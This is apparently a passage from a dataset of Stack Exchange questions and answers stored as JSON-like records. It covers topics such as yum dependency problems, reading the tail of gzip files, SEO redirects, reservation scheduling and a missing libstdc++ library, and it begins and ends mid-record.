026865,,,,1,,1,0,,,,,,,,,,,,,,,,,,19,0,.061667,19,0,.061667,,,74,1,,,8820807,13790084046,1,130415002      4556817,,,,33399399,,,,,,,,,,,,74,1,,,,,,0,,0,,,,,,GSMT11B**S,,,4,,,,,,10800,14/04/13,10800,14      /04/13,443867993,,,,,,,,1,0,,0,,,,,,,61409,51,,,9647503228592,,1001,1,0,,60,0,5,,N,,0,1,I,1,,,,,,20,      ,,,,25,1,4,19,,19,1,1,1,3,980,2,,Usage,Usage,USG,,N,N,0,,1,,ASIA03I,90,,0GRI3,90,,,,,0,1,1,1,1,1,341      12,437956,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,19,,,,,,,,,,,,,,,H,,1,0,1,0...blank line...line 3:,,,1,,,,,,,,18,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,42,1,121,1,17,10,21,1,,IU,8,0,,0,      ,0,0,0,,,,,,,,,,,,,,,,,,,,,,,,327,,,11,,0,,,,1,01,,,1,12769,,7707,0,,,,12769,,,12769,6,0,,,,10,,,1,2      ,10800,14/04/13,,,4,,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,A,,,,1001,,,,,,,,,,,01,,12769,0,,,,,,,,,,,,,,,,      ,,,,,,,,,,,,,14/04/13,10800,,,,,,,,,,,,,,,,,,,,,,1,,,,,,,,,964750001210,,1001,,1,,0,,,,,,,,,,,,17,,,      ,,,,,,96171254836,,,,1,,1,0,,,,,,,,,,,,,,,,,,19,0,.002,19,0,.002,,,2,1,,,8825322,13790084047,1,13041      50024556817,,,,33399399,,,,,,,,,,,,2,1,,,,,,0,,0,,,,,,GSMT11B**S,,,4,,,,,,10800,14/04/13,10800      ,14/04/13,443867994,,,,,,,,1,0,,0,,,,,,,61409,51,,,9647501378572,,1001,1,0,,60,0,5,,N,,0,1,I,1,,,,,,      47,,,,,54,1,4,19,,29,1,1,1,3,1112,2,,Usage,Usage,USG,,N,N,0,,1,,TRNT01I,90,,0GRI3,90,,,,,0,1,1,1,1,1      ,34113,437956,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,19,,,,,,,,,,,,,,,H,,1,0,1,0...blank line..."  , "title": "How can I merge multiple lines with spaces (blank line) separating them?"  , "tags": "text processing;scripting;merge"  } 
{  "id": "_softwareengineering.208623"  , "question": "Here's the gist of the problem: There are multiple service providers who each have their own schedules of availability. There are multiple customers who seek their services. Customers need to be able to book a reservation time for the service but they should only be able to book times in which some service provider is available (ie they don't really care which particular provider they get so long as they get a provider). Unfortunately, service providers may change schedules between when the customer registers and when the service is provided, meaning that even with the reservation safeguards in place there could still end up being too many reservations for a given time.I would like to know what work has already been done on this sort of problem, and additionally:Should providers actually be assigned to customers in a persistent way even though providers are interchangeable?Depending on the answer to the previous question, how might I determine the provider's next assignment based on the current time, other providers' schedules, and scheduled reservations?I've thought a lot about this problem but I am stumped and left with unsatisfying solutions. As someone with no CS background I would appreciate some insight and/or a better way to think about the problem."  , "title": "What are some algorithms that can assist with reservation time scheduling?"  , "tags": "algorithms;optimization;scheduling"  } 
{  "id": "_cs.67875"  , "question": "When solving an adversarial problem there are two basic approaches: one that takes into account the thinking process of both sides, and as opposed to that the non-psychological computations.For example, in poker a computer can be programmed to simply compute the best moves for both sides, or alternatively could try to infer what the opponent is doing based on psychological considerations. This perhaps could be called game theoretic calculation, but that term is usually associated with games that involve a cooperative element. Although poker does have a small cooperative aspect to it, mostly it is adversarial, so I guess the term game theoretic may or may not apply to poker, depending on how you define that term and characterize poker.In any case, what terminology can I use to discriminate between computational methodologies that involve human psychology versus those that do not?Currently, I am just saying game theoretic and non-game theoretic approaches, but I wonder if there is a better set of terminology?"  , "title": "Terminology for non-game theoretic techniques"  , "tags": "terminology;game theory"  } 
{  "id": "_webmaster.100127"  , "question": "I prefer to use a cross domain canonical instead of 301:<link rel=canonical href=http://example.net/dirA />is it OK for SEO purposes?Is it better than meta refresh like this?<meta http-equiv=refresh content=0; url=http://example.net/dirA />"  , "title": "Can a cross domain canonical link or a meta refresh be used for SEO instead of a 301 redirect?"  , "tags": "seo;redirects;301 redirect;rel canonical;meta refresh"  , "accepted_answer": "Meta refresh is much slower and not recommended but it is your next best option if a server side redirect isn't possible. As Moz says:Meta refreshes do pass some link juice, but are not recommended as an SEO tactic due to poor usability and the loss of link juice passed. MozHere's a quote from Google Webmaster:This meta tag sends the user to a new URL after a certain amount of time, and is sometimes used as a simple form of redirection. However, it is not supported by all browsers and can be confusing to the user. The W3C recommends that this tag not be used. We recommend using a server-side 301 redirect instead.  Google Webmaster"  } 
{  "id": "_unix.336369"  , "question": "I put under /tmp  the rpm that I want to install and the other RPM that are required for dependencies , yum try to install the rpm :  subscription-manager-1.11.3-14.el5_11.i386.rpmbut when need the other RPM that are located under /tmp the yum not know that they are under /tmpplease advice what the approach to install the local RPM with their RPM dependencies  ls increaseRemoteHostPartition.sh        python-dateutil-1.2-3.el5.noarch.rpm    strace-4.5.18-5.el5_4.1.i386.rpm                  virt-what-1.11-2.el5.i386.rpm lost+found                            python-ethtool-0.6-5.el5.i386.rpm        subscription-manager-1.11.3-14.el5_11.i386.rpm pygobject2-doc-2.12.1-5.el5.i386.rpm  python-rhsm-1.8.17-1.el5.i386.rpm         subscription-manager-1.11.3-14.el5_11.x86_64.rpm yum localinstall subscription-manager-1.11.3-14.el5_11.i386.rpm  Loaded plugins: downloadonly, rhnplugin  There was an error communicating with RHN.  RHN channel support will be disabled.  Connection refused  Setting up Local Package Process  Examining subscription-manager-1.11.3-14.el5_11.i386.rpm: subscription- manager-1.11.3-14.el5_11.i386  Marking subscription-manager-1.11.3-14.el5_11.i386.rpm to be installed  Resolving Dependencies  --> Running transaction check  ---> Package subscription-manager.i386 0:1.11.3-14.el5_11 set to be  updated  --> Processing Dependency: python-rhsm >= 1.11.3-5 for package:  subscription-manager  --> Processing Dependency: pygobject2 for package: subscription-manager  --> Processing Dependency: python-dateutil for package: subscription-manager  --> Processing Dependency: python-ethtool for package: subscription-manager  --> Processing Dependency: virt-what for package: subscription-manager  --> Finished Dependency Resolution  subscription-manager-1.11.3-14.el5_11.i386 from /subscription-manager-  1.11.3-14.el5_11.i386 has depsolving problems  --> Missing Dependency: python-dateutil is needed by package subscription-    manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)  subscription-manager-1.11.3-14.el5_11.i386 from /subscription-manager- 1.11.3-14.el5_11.i386 has depsolving problems  --> Missing Dependency: python-rhsm >= 1.11.3-5 is needed by package  subscription-manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-  14.el5_11.i386) subscription-manager-1.11.3-14.el5_11.i386 from /subscription-manager-  1.11.3-14.el5_11.i386 has depsolving problems --> Missing Dependency: pygobject2 is needed by package subscription-  manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386) subscription-manager-1.11.3-14.el5_11.i386 from /subscription-manager-  1.11.3-14.el5_11.i386 has depsolving problems  --> Missing Dependency: python-ethtool is needed by package subscription-  manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)   subscription-manager-1.11.3-14.el5_11.i386 from /subscription-manager-1.11.3-14.el5_11.i386 has depsolving problems   --> Missing Dependency: virt-what is needed by package subscription-  manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)   Error: Missing Dependency: pygobject2 is needed by package subscription-   manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)  Error: Missing Dependency: python-ethtool is needed by package  subscription-manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3- 14.el5_11.i386)  Error: Missing Dependency: virt-what is needed by package subscription-   manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)  Error: Missing Dependency: python-dateutil is needed by package subscription-manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-14.el5_11.i386)  Error: Missing Dependency: python-rhsm >= 1.11.3-5 is needed by package  subscription-manager-1.11.3-14.el5_11.i386 (/subscription-manager-1.11.3-  14.el5_11.i386)  You could try using --skip-broken to work around the problem  You could try running: package-cleanup --problems                    package-cleanup --dupes                    rpm -Va --nofiles --nodigest"  , "title": "yum localinstall + where to put the other RPM when need them in case of dependencies"  , "tags": "linux;yum"  } 
{  "id": "_webapps.44603"  , "question": "Is there a way to set it so my camera does not come on by default immediately when I place a call? When I click a contact in the new Hangouts popup in Chrome or in Gmail, I have a button that says Video Call. I used to be able to just do a voice call.Ideas?"  , "title": "Disable camera by default in Google Hangouts"  , "tags": "google hangouts"  } 
{  "id": "_unix.83106"  , "question": "Friends, my laptop is getting overheated. I have integrated graphics:$ lspci | grep vga(standard input):   3  :00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)(standard input):  16  :01:00.0 VGA compatible controller: NVIDIA Corporation GF108M [GeForce GT 540M] (rev a1)and the temperature is getting too high:$ sensorsacpitz-virtual-0Adapter: Virtual devicetemp1:        +84.0C  (crit = +100.0C)temp2:        +84.0C  (crit = +100.0C)nouveau-pci-0100Adapter: PCI adaptertemp1:        +76.0C  (high = +95.0C, hyst =  +3.0C)                       (crit = +105.0C, hyst =  +5.0C)                       (emerg = +135.0C, hyst =  +5.0C)coretemp-isa-0000Adapter: ISA adapterPhysical id 0:  +79.0C  (high = +86.0C, crit = +100.0C)Core 0:         +79.0C  (high = +86.0C, crit = +100.0C)Core 1:         +78.0C  (high = +86.0C, crit = +100.0C)Core 2:         +75.0C  (high = +86.0C, crit = +100.0C)Core 3:         +78.0C  (high = +86.0C, crit = +100.0C)I tried to install xorg-x11-drv-nvidia as suggested in here, but then my X-system is not coming up. (I was basically bitten by this bug  and updated my xorg's. If needed, I am posting my my xorgs:$ rpm -qa|/usr/bin/grep xorg-x11xorg-x11-drv-mga-1.6.2-7.fc19.x86_64xorg-x11-drv-modesetting-0.6.0-7.fc19.x86_64xorg-x11-server-utils-7.7-1.fc19.x86_64xorg-x11-drv-openchrome-0.3.3-1.fc19.x86_64xorg-x11-drv-nouveau-1.0.7-1.fc19.x86_64xorg-x11-font-utils-7.5-17.fc19.x86_64xorg-x11-server-Xorg-1.14.2-4.fc19.x86_64xorg-x11-drv-vmmouse-13.0.0-5.fc19.x86_64xorg-x11-drv-vmware-13.0.1-1.fc19.x86_64xorg-x11-glamor-0.5.0-5.20130401git81aadb8.fc19.x86_64xorg-x11-drv-synaptics-1.7.1-2.fc19.x86_64xorg-x11-xauth-1.0.7-3.fc19.x86_64xorg-x11-drv-fbdev-0.4.3-9.fc19.x86_64xorg-x11-proto-devel-7.7-4.fc19.noarchxorg-x11-xinit-1.3.2-8.fc19.x86_64xorg-x11-server-common-1.14.2-4.fc19.i686xorg-x11-fonts-Type1-7.5-8.fc19.noarchxorg-x11-drv-evdev-2.8.0-1.fc19.x86_64xorg-x11-drv-qxl-0.1.1-0.13.20130703git8b03ec16.fc19.x86_64xorg-x11-drv-ati-7.1.0-5.20130408git6e74aacc5.fc19.x86_64xorg-x11-drv-wacom-0.21.0-1.fc19.x86_64xorg-x11-drv-vesa-2.3.2-9.fc19.x86_64xorg-x11-fonts-ISO8859-1-75dpi-7.5-8.fc19.noarchxorg-x11-utils-7.5-9.fc19.x86_64xorg-x11-xkb-utils-7.7-7.fc19.x86_64xorg-x11-drv-intel-2.21.8-1.fc19.x86_64)Kindly help.I am using fedora 19 with gnome 3.8EDIT$ toptop - 17:13:42 up 21 min,  3 users,  load average: 0.25, 0.34, 0.38Tasks: 194 total,   2 running, 192 sleeping,   0 stopped,   0 zombie%Cpu0  :  5.0 us,  2.3 sy,  0.0 ni, 91.1 id,  0.0 wa,  1.0 hi,  0.7 si,  0.0 st%Cpu1  :  2.3 us,  1.0 sy,  0.0 ni, 95.7 id,  0.0 wa,  1.0 hi,  0.0 si,  0.0 st%Cpu2  :  6.0 us,  3.3 sy,  0.0 ni, 90.0 id,  0.0 wa,  0.3 hi,  0.3 si,  0.0 st%Cpu3  :  3.0 us,  0.3 sy,  0.0 ni, 95.7 id,  0.0 wa,  1.0 hi,  0.0 si,  0.0 st%Cpu4  :  3.3 us,  1.0 sy,  0.0 ni, 95.0 id,  0.0 wa,  0.7 hi,  0.0 si,  0.0 st%Cpu5  :  3.0 us,  1.0 sy,  0.0 ni, 94.7 id,  0.0 wa,  1.0 hi,  0.3 si,  0.0 st%Cpu6  : 76.3 us, 22.4 sy,  0.0 ni,  0.3 id,  0.0 wa,  1.0 hi,  0.0 si,  0.0 st%Cpu7  :  0.0 us,  0.0 sy,  0.0 ni, 98.7 id,  0.0 wa,  1.3 hi,  0.0 si,  0.0 stKiB Mem:   3940864 total,  2037364 used,  1903500 free,    68784 buffersKiB Swap:  8388604 total,        0 used,  8388604 free,  1126564 cachedand $ sensorsacpitz-virtual-0Adapter: Virtual devicetemp1:        +84.0C  (crit = +100.0C)temp2:        +84.0C  (crit = +100.0C)These two commands were used back to back. So nothing is working really."  , "title": "overheating fedora 19 gnome"  , "tags": "fedora"  } 
{  "id": "_cogsci.15315"  , "question": "It is known that concepts with similar attributes (color, shape... Etc.) are represented in a similar manner in the brain. However, is there any evidence of abstract relations, such as the as causal relation between two events are also represented in similar manners?For a example, the relation between a switch and a light (wherein the tilting of the switch causes the light to turn on), should have the same representation as a knob and a light (wherein the turning of the knob causes the light to turn on). What experimental setup could be used to test this with fMRI?"  , "title": "How are abstract relations represented neurally?"  , "tags": "cognitive psychology;cognitive neuroscience;fmri"  } 
{  "id": "_unix.228210"  , "question": "When i try to do yum install body_guard from my local repo, it shows the following package details,---> Package body_guard.x86_64 0:0.2-0313 will be updated---> Package body_guard.x86_64 0:0.2-0315 will be an update--> Finished Dependency ResolutionDependencies Resolved=============================================================================================================================================== Package                               Arch                           Version                            Repository                       Size===============================================================================================================================================Updating: body_guard                         x86_64                         0.2-0315                           my-sg                          18 MWhen i try to install an older version (say 312) of the same yum package, it fails No package body_guard.x86_64-0.2-0312 availableI used hypen as the seperator between package name and version number (format is packageName.archName-versionNumber), and issued the command as,yum install body_guard.x86_64-0.2-0312On doing, yum --showduplicates, i can see there exists a package with version numbered - 0.2-312"  , "title": "Yum install, format - 'packageName.archName-versionNumber' says no package"  , "tags": "yum"  , "accepted_answer": "From yum man page: Specifying package names              A  package can be referred to for install,update,list,remove etc              with any of the following:              name              name.arch              name-ver              name-ver-rel              name-ver-rel.arch              name-epoch:ver-rel.arch              epoch:name-ver-rel.arch              For example: yum remove kernel-2.4.1-10.i686I think you misplaced {arch} it should be at last, the correct syntax is:yum install <package_name>-<version>-<rel>.<arch>  Try:yum install body_guard-0.2-0312.x86_64"  } 
{  "id": "_unix.292556"  , "question": "I have 6 gzipped text files, each of which is ~17G when compressed. I need to see the last few lines (decompressed) of each file to check whether a particular problem is there. The obvious approach is very slow:for i in *; do zcat $i | tail -n3; doneI was thinking I could do something clever like:for i in *; do tail -n 30 $i | gunzip | tail -n 4 ; doneOr for i in *; do tac $i | head -100 | gunzip | tac | tail -n3; doneBut both complain about:gzip: stdin: not in gzip formatI thought that was because I was missing the gzip header, but this also fails:$ aa=$(head -c 300 file.gz)$ bb=$(tail -c 300 file.gz)$ printf '%s%s' $aa $bb | gunzipgzip: stdin: unexpected end of fileWhat I am really looking for is a ztail or ztac but I don't think those exist. Can anyone come up with a clever trick that lets me decompress and print the last few lines of a compressed file without decompressing the entire thing?"  , "title": "How can I decompress and print the last few lines of a compressed text file?"  , "tags": "shell;command line;compression"  , "accepted_answer": "You can't, as it has been already said, if the files have been compressed with standard gzip. If you have control over the compression, you can use dictzip to compress the files, it compresses the files in separate blocks and you can decompress just the last block (typically 64KB). And it is backward compatible with gzip, meaning the dictzipped file is perfectly legal gzipped file as well.Other possibility would be if you get the gzipped file as a concatenation of several already gzipped files, you could search for the last gzip signature and decompress everything after that."  } 
{  "id": "_softwareengineering.285787"  , "question": "I'm having some discussions with my new colleagues regarding commenting. We both like Clean Code, and I'm perfectly fine with the fact that inline code comments should be avoided and that class and methods names should be used to express what they do. However, I'm a big fan of adding small class summaries that tries to explain the purpose of the class and what is actually represents, primarily so that its easy to maintain the single responsibility principle pattern. I'm also used to adding one-line summaries to methods that explains what the method is supposed to do. A typical example is the simple method public Product GetById(int productId) {...}I'm adding the following method summary /// <summary>/// Retrieves a product by its id, returns null if no product was found./// </summaryI believe that the fact that the method returns null should be documented. A developer that wants to call a method should not have to open up my code in order to see if the method returns null or throws an exception. Sometimes it's part of an interface, so the developer doesn't even know which underlying code is running?However, my colleagues think that these kinds of comments are code smell and that comments are always failures (Robert C. Martin).Is there a way to express and communicate these types of knowledge without adding comments? Since I'm a big fan of Robert C. Martin, I'm getting a bit confused. Are summaries the same as comments and therefore always failures?This is not a question about in-line comments."  , "title": "Clean Code comments vs class documentation"  , "tags": "comments;clean code"  , "accepted_answer": "As others have said, there's a difference between API-documenting comments and in-line comments. From my perspective, the main difference is that an in-line comment is read alongside the code, whereas a documentation comment is read alongside the signature of whatever you're commenting.Given this, we can apply the same DRY principle. Is the comment saying the same thing as the signature? Let's look at your example:Retrieves a product by its idThis part just repeats what we already see from the name GetById plus the return type Product. It also raises the question what the difference between getting and retrieving is, and what bearing code vs. comment has on that distinction. So it's needless and slightly confusing. If anything, it's getting in the way of the actually useful, second part of the comment:returns null if no product was found.Ah! That's something we definitely can't know for sure just from the signature, and provides useful information.Now take this a step further. When people talk about comments as code smells, the question isn't whether the code as it is needs a comment, but whether the comment indicates that the code could be written better, to express the information in the comment. That's what code smell means- it doesn't mean don't do this!, it means if you're doing this, it could be a sign there's a problem.So if your colleagues tell you this comment about null is a code smell, you should simply ask them: Okay, how should I express this then? If they have a feasible answer, you've learned something. If not, it'll probably kill their complaints dead.Regarding this specific case, generally the null issue is well known to be a difficult one. There's a reason code bases are littered with guard clauses, why null checks are a popular precondition for code contracts, why the existence of null has been called a billion-dollar mistake. There aren't that many viable options. One popular one, though, found in C# is the Try... convention:public bool TryGetById(int productId, out Product product);In other languages, it may be idiomatic to use a type (often called something like Optional or Maybe) to indicate a result that may or may not be there:public Optional<Product> GetById(int productId);So in a way, this anti-comment stance has gotten us somewhere: we've at least thought about whether this comment represents a smell, and what alternatives might exist for us.Whether we should actually prefer these over the original signature is a whole other debate, but we at least have options for expressing through code rather than comments what happens when no product is found. You should discuss with your colleagues which of these options they think is better and why, and hopefully help move on beyond blanket dogmatic statements about comments."  } 
{  "id": "_unix.28739"  , "question": "While Installing the Red Hat Directory Server on the Red Hat Linux Server 5 (x86_64)i am getting the following errorbin/slapd/server/dsktune: error while loading shared libraries: libstdc++.so.5: cannot open shared object file: No such file or directoryI thought may be this is the dependency problem and I have installed the rpm compat-libstdc++ from the redhat CD of x66_64 and i queried using rpm -qa | grep compat-libst* i am able to find the rpm in the installed packages.What could be the resolution for this issue ?EDIT1: I have run the following command ldconfig -v | grep libstdc[root@redhot redhat-ds]# ldconfig -v | grep libstdc  libstdc++.so.6 -> libstdc++.so.6.0.8  libstdc++.so.5 -> libstdc++.so.5.0.7  libstdc++.so.6 -> libstdc++.so.6.0.8EDIT2: [root@hadoopredhot server]# ldd -v dsktune         linux-gate.so.1 =>  (0xffffe000)        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00489000)        libstdc++.so.5 => not found        libm.so.6 => /lib/libm.so.6 (0x004f4000)        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x00d85000)        libc.so.6 => /lib/libc.so.6 (0x00347000)        /lib/ld-linux.so.2 (0x0032a000)        Version information:        ./dsktune:                libc.so.6 (GLIBC_2.3) => /lib/libc.so.6                libc.so.6 (GLIBC_2.2) => /lib/libc.so.6                libc.so.6 (GLIBC_2.1) => /lib/libc.so.6                libc.so.6 (GLIBC_2.0) => /lib/libc.so.6        /lib/libcrypt.so.1:                libc.so.6 (GLIBC_2.1.3) => /lib/libc.so.6                libc.so.6 (GLIBC_2.0) => /lib/libc.so.6        /lib/libm.so.6:                ld-linux.so.2 (GLIBC_PRIVATE) => /lib/ld-linux.so.2                libc.so.6 (GLIBC_2.1.3) => /lib/libc.so.6                libc.so.6 (GLIBC_2.0) => /lib/libc.so.6        /lib/libgcc_s.so.1:                libc.so.6 (GLIBC_2.1.3) => /lib/libc.so.6                libc.so.6 (GLIBC_2.2.4) => /lib/libc.so.6                libc.so.6 (GLIBC_2.4) => /lib/libc.so.6                libc.so.6 (GLIBC_2.0) => /lib/libc.so.6        /lib/libc.so.6:                ld-linux.so.2 (GLIBC_PRIVATE) => /lib/ld-linux.so.2                ld-linux.so.2 (GLIBC_2.3) => /lib/ld-linux.so.2                ld-linux.so.2 (GLIBC_2.1) => /lib/ld-linux.so.2EDIT3:[root@hadoopredhot server]# ldconfig -v /usr/lib/vmware-tools/lib32/libvmGuestLib.so:    libvmGuestLib.so -> libvmGuestLib.so/usr/lib/vmware-tools/lib64/libvmGuestLib.so:    libvmGuestLib.so -> libvmGuestLib.so/usr/lib/vmware-tools/lib32/libvmGuestLibJava.so:    libvmGuestLibJava.so -> libvmGuestLibJava.so/usr/lib/vmware-tools/lib64/libvmGuestLibJava.so:    libvmGuestLibJava.so -> libvmGuestLibJava.so/usr/lib/vmware-tools/lib32/libDeployPkg.so:    libDeployPkg.so -> libDeployPkg.so/usr/lib/vmware-tools/lib64/libDeployPkg.so:    libDeployPkg.so -> libDeployPkg.so/lib:    libSegFault.so -> libSegFault.so    libc.so.6 -> libc-2.5.so    libnss_nis.so.2 -> libnss_nis-2.5.so    libsepol.so.1 -> libsepol.so.1    libuuid.so.1 -> libuuid.so.1.2    libe2p.so.2 -> libe2p.so.2.3    libcom_err.so.2 -> libcom_err.so.2.1    libdl.so.2 -> libdl-2.5.so    libcidn.so.1 -> libcidn-2.5.so    libnss_nisplus.so.2 -> libnss_nisplus-2.5.so    libcrypt.so.1 -> libcrypt-2.5.so    libnss_ldap.so.2 -> libnss_ldap-2.5.so    libssl.so.6 -> libssl.so.0.9.8b    libaudit.so.0 -> libaudit.so.0.0.0    libm.so.6 -> libm-2.5.so    libext2fs.so.2 -> libext2fs.so.2.4    libselinux.so.1 -> libselinux.so.1    libBrokenLocale.so.1 -> libBrokenLocale-2.5.so    libgmodule-2.0.so.0 -> libgmodule-2.0.so.0.1200.3    libgcc_s.so.1 -> libgcc_s-4.1.2-20070626.so.1    libpamc.so.0 -> libpamc.so.0.81.0    libnsl.so.1 -> libnsl-2.5.so    libpam.so.0 -> libpam.so.0.81.5    libnss_db.so.2 -> libnss_db-2.2.so    libnss_hesiod.so.2 -> libnss_hesiod-2.5.so    libpthread.so.0 -> libpthread-2.5.so    libgthread-2.0.so.0 -> libgthread-2.0.so.0.1200.3    libasound.so.2 -> libasound.so.2.0.0    libss.so.2 -> libss.so.2.0    libexpat.so.0 -> libexpat.so.0.5.0    libcrypto.so.6 -> libcrypto.so.0.9.8b    libdevmapper-event.so.1.02 -> libdevmapper-event.so.1.02    libutil.so.1 -> libutil-2.5.so    libcap.so.1 -> libcap.so.1.10    libresolv.so.2 -> libresolv-2.5.so    libdevmapper.so.1.02 -> libdevmapper.so.1.02    libpam_misc.so.0 -> libpam_misc.so.0.81.2    libtermcap.so.2 -> libtermcap.so.2.0.8    libauparse.so.0 -> libauparse.so.0.0.0    libnss_dns.so.2 -> libnss_dns-2.5.so    libiw.so.28 -> libiw.so.28    libkeyutils.so.1 -> libkeyutils-1.2.so    libanl.so.1 -> libanl-2.5.so    libglib-2.0.so.0 -> libglib-2.0.so.0.1200.3    libgobject-2.0.so.0 -> libgobject-2.0.so.0.1200.3    libnss_files.so.2 -> libnss_files-2.5.so    libacl.so.1 -> libacl.so.1.1.0    libdbus-1.so.3 -> libdbus-1.so.3.2.0    libvolume_id.so.0 -> libvolume_id.so.0.66.0    libattr.so.1 -> libattr.so.1.1.0    libdb-4.3.so -> libdb-4.3.so    ld-linux.so.2 -> ld-2.5.so    librt.so.1 -> librt-2.5.so    libblkid.so.1 -> libblkid.so.1.0    libthread_db.so.1 -> libthread_db-1.0.so    libnss_compat.so.2 -> libnss_compat-2.5.so/lib64:    libnss_winbind.so.2 -> libnss_winbind.so.2    libSegFault.so -> libSegFault.so    libproc-3.2.7.so -> libproc-3.2.7.so    libc.so.6 -> libc-2.5.so    libnss_nis.so.2 -> libnss_nis-2.5.so    libsepol.so.1 -> libsepol.so.1    libuuid.so.1 -> libuuid.so.1.2    libe2p.so.2 -> libe2p.so.2.3    libcom_err.so.2 -> libcom_err.so.2.1    libdl.so.2 -> libdl-2.5.so    libcidn.so.1 -> libcidn-2.5.so    libnss_nisplus.so.2 -> libnss_nisplus-2.5.so    libcrypt.so.1 -> libcrypt-2.5.so    libnss_ldap.so.2 -> libnss_ldap-2.5.so    libssl.so.6 -> libssl.so.0.9.8b    libaudit.so.0 -> libaudit.so.0.0.0    ld-linux-x86-64.so.2 -> ld-2.5.so    libm.so.6 -> libm-2.5.so    libext2fs.so.2 -> libext2fs.so.2.4    libselinux.so.1 -> libselinux.so.1    libnss_wins.so.2 -> libnss_wins.so.2    libBrokenLocale.so.1 -> libBrokenLocale-2.5.so    libgmodule-2.0.so.0 -> libgmodule-2.0.so.0.1200.3    libgcc_s.so.1 -> libgcc_s-4.1.2-20070626.so.1    libpamc.so.0 -> libpamc.so.0.81.0    libnsl.so.1 -> libnsl-2.5.so    libpam.so.0 -> libpam.so.0.81.5    libnss_db.so.2 -> libnss_db-2.2.so    libsemanage.so.1 -> libsemanage.so.1    libnss_hesiod.so.2 -> libnss_hesiod-2.5.so    libpthread.so.0 -> libpthread-2.5.so    libgthread-2.0.so.0 -> libgthread-2.0.so.0.1200.3    libasound.so.2 -> libasound.so.2.0.0    libss.so.2 -> libss.so.2.0    libexpat.so.0 -> libexpat.so.0.5.0    libcrypto.so.6 -> libcrypto.so.0.9.8b    libpcre.so.0 -> libpcre.so.0.0.1    libdevmapper-event.so.1.02 -> libdevmapper-event.so.1.02    libutil.so.1 -> libutil-2.5.so    libcap.so.1 -> libcap.so.1.10    libresolv.so.2 -> libresolv-2.5.so    libdevmapper.so.1.02 -> libdevmapper.so.1.02    libpam_misc.so.0 -> libpam_misc.so.0.81.2    libtermcap.so.2 -> libtermcap.so.2.0.8    libauparse.so.0 -> libauparse.so.0.0.0    libnss_dns.so.2 -> libnss_dns-2.5.so    libiw.so.28 -> libiw.so.28    libdevmapper-event-lvm2mirror.so.2.02 -> libdevmapper-event-lvm2mirror.so.2.02    libkeyutils.so.1 -> libkeyutils-1.2.so    libanl.so.1 -> libanl-2.5.so    libglib-2.0.so.0 -> libglib-2.0.so.0.1200.3    libgobject-2.0.so.0 -> libgobject-2.0.so.0.1200.3    libnss_files.so.2 -> libnss_files-2.5.so    libacl.so.1 -> libacl.so.1.1.0    libdbus-1.so.3 -> libdbus-1.so.3.2.0    libvolume_id.so.0 -> libvolume_id.so.0.66.0    libattr.so.1 -> libattr.so.1.1.0    libdb-4.3.so -> libdb-4.3.so    librt.so.1 -> librt-2.5.so    libblkid.so.1 -> libblkid.so.1.0    libthread_db.so.1 -> libthread_db-1.0.so    libnss_compat.so.2 -> libnss_compat-2.5.so/usr/lib:    libnssckbi.so -> libnssckbi.so    libgailutil.so.18 -> libgailutil.so.18.0.1    libplc4.so -> libplc4.so    libplds4.so -> libplds4.so    libaudiofile.so.0 -> libaudiofile.so.0.0.2    libform.so.5 -> libform.so.5.5    libgpg-error.so.0 -> libgpg-error.so.0.3.0    libsmime3.so -> libsmime3.so    libsoftokn3.so -> libsoftokn3.so    libesddsp.so.0 -> libesddsp.so.0.2.36    libgnutls-extra.so.13 -> libgnutls-extra.so.13.0.6    libgnutls-openssl.so.13 -> libgnutls-openssl.so.13.0.6    libgnome-keyring.so.0 -> libgnome-keyring.so.0.0.1    libnspr4.so -> libnspr4.so    libORBitCosNaming-2.so.0 -> libORBitCosNaming-2.so.0.1.0    libnss3.so -> libnss3.so    libz.so.1 -> libz.so.1.2.3    libcupsimage.so.2 -> libcupsimage.so.2    libdbus-glib-1.so.2 -> libdbus-glib-1.so.2.0.0    libkadm5clnt.so.5 -> libkadm5clnt.so.5.1    libORBit-imodule-2.so.0 -> libORBit-imodule-2.so.0.0.0    libcryptsetup.so.0 -> libcryptsetup.so.0.0.0    libegroupwise-1.2.so.12 -> libegroupwise-1.2.so.12.0.0    libfontconfig.so.1 -> libfontconfig.so.1.1.0    libmetacity-private.so.0 -> libmetacity-private.so.0.0.0    libgdk_pixbuf_xlib-2.0.so.0 -> libgdk_pixbuf_xlib-2.0.so.0.1000.4    libusb-0.1.so.4 -> libusb-0.1.so.4.4.4    libhistory.so.5 -> libhistory.so.5.1    libpspell.so.15 -> libpspell.so.15.1.3    libkdb5.so.4 -> libkdb5.so.4.0    libebook-1.2.so.9 -> libebook-1.2.so.9.0.0    libbdevid.so.5.1.19.6 -> libbdevid.so.5.1.19.6    libgcrypt.so.11 -> libgcrypt.so.11.2.2    libavahi-core.so.4 -> libavahi-core.so.4.0.5    libcamel-1.2.so.0 -> libcamel-1.2.so.0.0.0    libgstbase-0.10.so.0 -> libgstbase-0.10.so.0.8.1    libgamin-1.so.0 -> libgamin-1.so.0.1.7    libXdmcp.so.6 -> libXdmcp.so.6.0.0    libncurses.so.5 -> libncurses.so.5.5    libecal-1.2.so.7 -> libecal-1.2.so.7.0.0    libcups.so.2 -> libcups.so.2    libXft.so.2 -> libXft.so.2.1.2    libgstcontroller-0.10.so.0 -> libgstcontroller-0.10.so.0.8.1    libspi.so.0 -> libspi.so.0.10.11    libwrap.so.0 -> libwrap.so.0.7.6    libatk-1.0.so.0 -> libatk-1.0.so.0.1212.0    libeel-2.so.2 -> 